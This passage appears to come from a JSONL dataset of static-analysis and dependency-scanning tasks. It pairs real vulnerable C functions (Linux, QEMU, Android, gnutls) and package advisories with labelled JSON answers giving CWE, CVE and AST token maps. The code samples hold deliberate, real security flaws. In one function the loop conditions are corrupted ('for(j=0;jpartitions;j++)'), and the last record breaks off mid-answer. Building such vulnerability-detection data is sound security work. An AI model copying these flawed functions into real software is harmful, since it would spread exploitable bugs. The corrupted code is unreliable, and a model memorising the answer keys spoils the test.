gnutls_assert_val(DANE_E_CERT_ERROR);\n \t \tgoto cleanup;\n\t}\n\tif (vstatus != 0)\n\t\t*verify |= DANE_VERIFY_CA_CONSTRAINTS_VIOLATED;\n\n\tret = 0;\ncleanup:\n\tfree(pubkey.data);\n\tif (crt != NULL)\n\t gnutls_x509_crt_deinit(crt);\n\tif (ca != NULL)\n\t gnutls_x509_crt_deinit(ca);\n\treturn ret;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"project\": \"gnutls\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: phpmyadmin\nInstalled version: <4:2.6.4-pl3-1\nSummary: The register_globals emulation layer in grab_globals.php for phpMyAdmin before 2.6.4-pl3 does not perform safety checks on values in the _FILES array for uploaded files, which allows remote attackers ...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2005-3300\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"phpmyadmin\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <4:2.6.4-pl3-1\",\n \"fixed_version\": \"4:2.6.4-pl3-1\",\n \"finding\": \"The register_globals emulation layer in grab_globals.php for phpMyAdmin before 2.6.4-pl3 does not perform safety checks on values in the _FILES array for uploaded files, which allows remote attackers ...\",\n \"remediation\": \"Upgrade phpmyadmin to 4:2.6.4-pl3-1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: calibreweb\nInstalled version: 0.6.15\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"calibreweb\",\n \"installed_version\": \"0.6.15\",\n \"note\": \"calibreweb 0.6.15 is at or above the fixed version for PYSEC-2026-1236; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-200", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int res_unpack(vorbis_info_residue *info,\n vorbis_info *vi,oggpack_buffer *opb){\n int j,k;\n codec_setup_info *ci=(codec_setup_info *)vi->codec_setup;\n memset(info,0,sizeof(*info));\n\n info->type=oggpack_read(opb,16);\n\n if(info->type>2 || info->type<0)goto errout;\n info->begin=oggpack_read(opb,24);\n info->end=oggpack_read(opb,24);\n info->grouping=oggpack_read(opb,24)+1;\n info->partitions=(char)(oggpack_read(opb,6)+1);\n info->groupbook=(unsigned char)oggpack_read(opb,8);\n if(info->groupbook>=ci->books)goto errout;\n \n info->stagemasks=_ogg_malloc(info->partitions*sizeof(*info->stagemasks));\n info->stagebooks=_ogg_malloc(info->partitions*8*sizeof(*info->stagebooks));\n\n for(j=0;jpartitions;j++){\n int cascade=oggpack_read(opb,3);\n if(oggpack_read(opb,1))\n cascade|=(oggpack_read(opb,5)<<3);\n info->stagemasks[j]=cascade;\n }\n\n for(j=0;jpartitions;j++){\n for(k=0;k<8;k++){\n if((info->stagemasks[j]>>k)&1){\n unsigned char book=(unsigned char)oggpack_read(opb,8);\n if(book>=ci->books)goto errout;\n info->stagebooks[j*8+k]=book;\n if(k+1>info->stages)info->stages=k+1;\n }else\n info->stagebooks[j*8+k]=0xff;\n }\n }\n\n \n if(oggpack_eop(opb))goto errout;\n \n return 0;\n errout:\n res_clear_info(info);\n return 1;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-0814\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 12,\n 13,\n 14\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"res_unpack\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 14\n },\n {\n \"token\": \"vorbis_info_residue\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 15\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 35\n },\n {\n \"token\": \"info\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \"vorbis_info\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 16\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 28\n },\n {\n \"token\": \"vi\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 29\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 31\n },\n {\n \"token\": \"oggpack_buffer\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 32\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 47\n },\n {\n \"token\": \"opb\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 48\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 51\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 52\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"j\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 5\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 6\n },\n {\n \"token\": \"k\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 7\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"codec_setup_info\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 23\n },\n {\n \"token\": \"ci\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 26\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \"codec_setup_info\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 28\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 45\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 46\n },\n {\n \"token\": \"vi\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 47\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 49\n },\n {\n \"token\": \"codec_setup\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 51\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 62\n },\n {\n \"token\": \"memset\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"info\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 5,\n \"col\": 14\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 5,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 22\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 23\n },\n {\n \"token\": \"info\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 29\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 30\n },\n {\n \"token\": \"info\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 6\n },\n {\n \"token\": \"type\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \"oggpack_read\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 25\n },\n {\n \"token\": \"opb\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 26\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 29\n },\n {\n \"token\": \"16\",\n \"ast_node\": \"number_literal\",\n \"line\": 7,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 32\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 33\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 9,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \"info\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 6\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: gitea.dev\nInstalled version: <1.27.0\nSummary: Gitea: Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads in gitea.dev", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2026-6049\",\n \"cve\": \"CVE-2026-59763\",\n \"aliases\": [\n \"CVE-2026-59763\",\n \"GHSA-9mq6-mqjj-c2c5\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"gitea.dev\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <1.27.0\",\n \"fixed_version\": \"1.27.0\",\n \"finding\": \"Gitea: Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads in gitea.dev\",\n \"remediation\": \"Upgrade gitea.dev to 1.27.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-416", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static ssize_t ucma_process_join(struct ucma_file *file,\n\t\t\t\t struct rdma_ucm_join_mcast *cmd, int out_len)\n{\n\tstruct rdma_ucm_create_id_resp resp;\n\tstruct ucma_context *ctx;\n\tstruct ucma_multicast *mc;\n\tstruct sockaddr *addr;\n\tint ret;\n\tu8 join_state;\n\n\tif (out_len < sizeof(resp))\n\t\treturn -ENOSPC;\n\n\taddr = (struct sockaddr *) &cmd->addr;\n\tif (cmd->addr_size != rdma_addr_size(addr))\n\t\treturn -EINVAL;\n\n\tif (cmd->join_flags == RDMA_MC_JOIN_FLAG_FULLMEMBER)\n\t\tjoin_state = BIT(FULLMEMBER_JOIN);\n\telse if (cmd->join_flags == RDMA_MC_JOIN_FLAG_SENDONLY_FULLMEMBER)\n\t\tjoin_state = BIT(SENDONLY_FULLMEMBER_JOIN);\n\telse\n\t\treturn -EINVAL;\n\n\tctx = ucma_get_ctx_dev(file, cmd->id);\n\tif (IS_ERR(ctx))\n\t\treturn PTR_ERR(ctx);\n\n\tmutex_lock(&file->mut);\n\tmc = ucma_alloc_multicast(ctx);\n\tif (!mc) {\n\t\tret = -ENOMEM;\n\t\tgoto err1;\n\t}\n\tmc->join_state = join_state;\n\tmc->uid = cmd->uid;\n\tmemcpy(&mc->addr, addr, cmd->addr_size);\n\tret = rdma_join_multicast(ctx->cm_id, (struct sockaddr *)&mc->addr,\n\t\t\t\t join_state, mc);\n\tif (ret)\n\t\tgoto err2;\n\n\tresp.id = mc->id;\n\tif (copy_to_user(u64_to_user_ptr(cmd->response),\n\t\t\t &resp, sizeof(resp))) {\n\t\tret = -EFAULT;\n \t\tgoto err3;\n \t}\n \n \tmutex_unlock(&file->mut);\n \tucma_put_ctx(ctx);\n \treturn 0;\n\nerr3:\n\trdma_leave_multicast(ctx->cm_id, (struct sockaddr *) &mc->addr);\n\tucma_cleanup_mc_events(mc);\nerr2:\n\tmutex_lock(&mut);\n\tidr_remove(&multicast_idr, mc->id);\n\tmutex_unlock(&mut);\n\tlist_del(&mc->list);\n\tkfree(mc);\nerr1:\n\tmutex_unlock(&file->mut);\n\tucma_put_ctx(ctx);\n\treturn ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-416\",\n \"cwe_name\": \"Use After Free\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-14734\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int wanxl_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd)\n{\n\tconst size_t size = sizeof(sync_serial_settings);\n\tsync_serial_settings line;\n\tport_t *port = dev_to_port(dev);\n\n\tif (cmd != SIOCWANDEV)\n\t\treturn hdlc_ioctl(dev, ifr, cmd);\n\n\tswitch (ifr->ifr_settings.type) {\n\tcase IF_GET_IFACE:\n\t\tifr->ifr_settings.type = IF_IFACE_SYNC_SERIAL;\n\t\tif (ifr->ifr_settings.size < size) {\n \t\t\tifr->ifr_settings.size = size; /* data size wanted */\n \t\t\treturn -ENOBUFS;\n \t\t}\n \t\tline.clock_type = get_status(port)->clocking;\n \t\tline.clock_rate = 0;\n \t\tline.loopback = 0;\n\n\t\tif (copy_to_user(ifr->ifr_settings.ifs_ifsu.sync, &line, size))\n\t\t\treturn -EFAULT;\n\t\treturn 0;\n\n\tcase IF_IFACE_SYNC_SERIAL:\n\t\tif (!capable(CAP_NET_ADMIN))\n\t\t\treturn -EPERM;\n\t\tif (dev->flags & IFF_UP)\n\t\t\treturn -EBUSY;\n\n\t\tif (copy_from_user(&line, ifr->ifr_settings.ifs_ifsu.sync,\n\t\t\t\t size))\n\t\t\treturn -EFAULT;\n\n\t\tif (line.clock_type != CLOCK_EXT &&\n\t\t line.clock_type != CLOCK_TXFROMRX)\n\t\t\treturn -EINVAL; /* No such clock setting */\n\n\t\tif (line.loopback != 0)\n\t\t\treturn -EINVAL;\n\n\t\tget_status(port)->clocking = line.clock_type;\n\t\treturn 0;\n\n\tdefault:\n\t\treturn hdlc_ioctl(dev, ifr, cmd);\n }\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-1445\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void WT_InterpolateMono (S_WT_VOICE *pWTVoice, S_WT_INT_FRAME *pWTIntFrame)\n{\n EAS_I32 *pMixBuffer;\n const EAS_I8 *pLoopEnd;\n const EAS_I8 *pCurrentPhaseInt;\n EAS_I32 numSamples;\n EAS_I32 gain;\n EAS_I32 gainIncrement;\n EAS_I32 currentPhaseFrac;\n EAS_I32 phaseInc;\n EAS_I32 tmp0;\n EAS_I32 tmp1;\n EAS_I32 tmp2;\n EAS_I8 *pLoopStart;\n\n\n numSamples = pWTIntFrame->numSamples;\n if (numSamples <= 0) {\n ALOGE(\"b/26366256\");\n return;\n }\n pMixBuffer = pWTIntFrame->pMixBuffer;\n\n /* calculate gain increment */\n gainIncrement = (pWTIntFrame->gainTarget - pWTIntFrame->prevGain) << (16 - SYNTH_UPDATE_PERIOD_IN_BITS);\n if (gainIncrement < 0)\n gainIncrement++;\n gain = pWTIntFrame->prevGain << 16;\n\n pCurrentPhaseInt = pWTVoice->pPhaseAccum;\n currentPhaseFrac = pWTVoice->phaseFrac;\n phaseInc = pWTIntFrame->phaseIncrement;\n\n pLoopStart = pWTVoice->pLoopStart;\n pLoopEnd = pWTVoice->pLoopEnd + 1;\n\nInterpolationLoop:\n tmp0 = (EAS_I32)(pCurrentPhaseInt - pLoopEnd);\n if (tmp0 >= 0)\n pCurrentPhaseInt = pLoopStart + tmp0;\n\n tmp0 = *pCurrentPhaseInt;\n tmp1 = *(pCurrentPhaseInt + 1);\n\n tmp2 = phaseInc + currentPhaseFrac;\n\n tmp1 = tmp1 - tmp0;\n tmp1 = tmp1 * currentPhaseFrac;\n\n tmp1 = tmp0 + (tmp1 >> NUM_EG1_FRAC_BITS);\n\n pCurrentPhaseInt += (tmp2 >> NUM_PHASE_FRAC_BITS);\n currentPhaseFrac = tmp2 & PHASE_FRAC_MASK;\n\n gain += gainIncrement;\n tmp2 = (gain >> SYNTH_UPDATE_PERIOD_IN_BITS);\n\n tmp0 = *pMixBuffer;\n tmp2 = tmp1 * tmp2;\n tmp2 = (tmp2 >> 9);\n tmp0 = tmp2 + tmp0;\n *pMixBuffer++ = tmp0;\n\n numSamples--;\n if (numSamples > 0)\n goto InterpolationLoop;\n\n pWTVoice->pPhaseAccum = pCurrentPhaseInt;\n pWTVoice->phaseFrac = currentPhaseFrac;\n /*lint -e{702} */\n pWTVoice->gain = (EAS_I16)(gain >> SYNTH_UPDATE_PERIOD_IN_BITS);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-0838\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void do_shmem_file_read(struct file *filp, loff_t *ppos, read_descriptor_t *desc, read_actor_t actor)\n{\n\tstruct inode *inode = filp->f_path.dentry->d_inode;\n\tstruct address_space *mapping = inode->i_mapping;\n\tunsigned long index, offset;\n\n\tindex = *ppos >> PAGE_CACHE_SHIFT;\n\toffset = *ppos & ~PAGE_CACHE_MASK;\n\n\tfor (;;) {\n\t\tstruct page *page = NULL;\n\t\tunsigned long end_index, nr, ret;\n\t\tloff_t i_size = i_size_read(inode);\n\n\t\tend_index = i_size >> PAGE_CACHE_SHIFT;\n\t\tif (index > end_index)\n\t\t\tbreak;\n\t\tif (index == end_index) {\n\t\t\tnr = i_size & ~PAGE_CACHE_MASK;\n\t\t\tif (nr <= offset)\n\t\t\t\tbreak;\n\t\t}\n\n\t\tdesc->error = shmem_getpage(inode, index, &page, SGP_READ, NULL);\n\t\tif (desc->error) {\n\t\t\tif (desc->error == -EINVAL)\n\t\t\t\tdesc->error = 0;\n\t\t\tbreak;\n\t\t}\n\n\t\t/*\n\t\t * We must evaluate after, since reads (unlike writes)\n\t\t * are called without i_mutex protection against truncate\n\t\t */\n\t\tnr = PAGE_CACHE_SIZE;\n\t\ti_size = i_size_read(inode);\n\t\tend_index = i_size >> PAGE_CACHE_SHIFT;\n\t\tif (index == end_index) {\n\t\t\tnr = i_size & ~PAGE_CACHE_MASK;\n\t\t\tif (nr <= offset) {\n\t\t\t\tif (page)\n\t\t\t\t\tpage_cache_release(page);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tnr -= offset;\n\n\t\tif (page) {\n\t\t\t/*\n\t\t\t * If users can be writing to this page using arbitrary\n\t\t\t * virtual addresses, take care about potential aliasing\n\t\t\t * before reading the page on the kernel side.\n\t\t\t */\n\t\t\tif (mapping_writably_mapped(mapping))\n\t\t\t\tflush_dcache_page(page);\n\t\t\t/*\n\t\t\t * Mark the page accessed if we read the beginning.\n\t\t\t */\n\t\t\tif (!offset)\n\t\t\t\tmark_page_accessed(page);\n\t\t} else {\n\t\t\tpage = ZERO_PAGE(0);\n\t\t\tpage_cache_get(page);\n\t\t}\n\n\t\t/*\n\t\t * Ok, we have the page, and it's up-to-date, so\n\t\t * now we can copy it to user space...\n\t\t *\n\t\t * The actor routine returns how many bytes were actually used..\n\t\t * NOTE! This may not be the same as how much of a user buffer\n\t\t * we filled up (we may be padding etc), so we can only update\n\t\t * \"pos\" here (the actor routine has to update the user buffer\n\t\t * pointers and the remaining count).\n\t\t */\n\t\tret = actor(desc, page, offset, nr);\n\t\toffset += ret;\n\t\tindex += offset >> PAGE_CACHE_SHIFT;\n\t\toffset &= ~PAGE_CACHE_MASK;\n\n\t\tpage_cache_release(page);\n\t\tif (ret != nr || !desc->count)\n\t\t\tbreak;\n\n\t\tcond_resched();\n\t}\n\n\t*ppos = ((loff_t) index << PAGE_CACHE_SHIFT) + offset;\n\tfile_accessed(filp);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int ima_adpcm_decode_block (ima_adpcm_data *ima, uint8_t *encoded,\n\tint16_t *decoded)\n{\n\tint outputLength;\n\n\tstruct adpcm_state state;\n\n\toutputLength = ima->samplesPerBlock * sizeof (int16_t) *\n\t\tima->track->f.channelCount;\n\n\tstate.valprev = (encoded[1]<<8) | encoded[0];\n\tif (encoded[1] & 0x80)\n\t\tstate.valprev -= 0x10000;\n\n\tstate.index = encoded[2];\n\n\t*decoded++ = state.valprev;\n\n\tencoded += 4;\n\n\t_af_adpcm_decoder(encoded, decoded, ima->samplesPerBlock - 1, &state);\n\n\treturn outputLength;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"project\": \"audiofile\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void scsi_write_complete(void * opaque, int ret)\n {\n SCSIDiskReq *r = (SCSIDiskReq *)opaque;\n SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, r->req.dev);\n uint32_t len;\n uint32_t n;\n \n if (r->req.aiocb != NULL) {\n r->req.aiocb = NULL;\n bdrv_acct_done(s->bs, &r->acct);\n }\n\n if (ret) {\n if (scsi_handle_rw_error(r, -ret, SCSI_REQ_STATUS_RETRY_WRITE)) {\n return;\n }\n }\n \n n = r->iov.iov_len / 512;\n r->sector += n;\n r->sector_count -= n;\n if (r->sector_count == 0) {\n scsi_req_complete(&r->req, GOOD);\n } else {\n len = r->sector_count * 512;\n if (len > SCSI_DMA_BUF_SIZE) {\n len = SCSI_DMA_BUF_SIZE;\n }\n r->iov.iov_len = len;\n DPRINTF(\"Write complete tag=0x%x more=%d\\n\", r->req.tag, len);\n scsi_req_data(&r->req, len);\n }\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-3346\",\n \"project\": \"qemu\",\n \"vulnerable_lines\": [\n 5,\n 19,\n 25,\n 26,\n 27,\n 28,\n 29,\n 30,\n 31\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"scsi_write_complete\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"opaque\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 47\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 51\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"SCSIDiskReq\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 5\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"r\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 18\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \"SCSIDiskReq\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 36\n },\n {\n \"token\": \"opaque\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 43\n },\n {\n \"token\": \"SCSIDiskState\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": 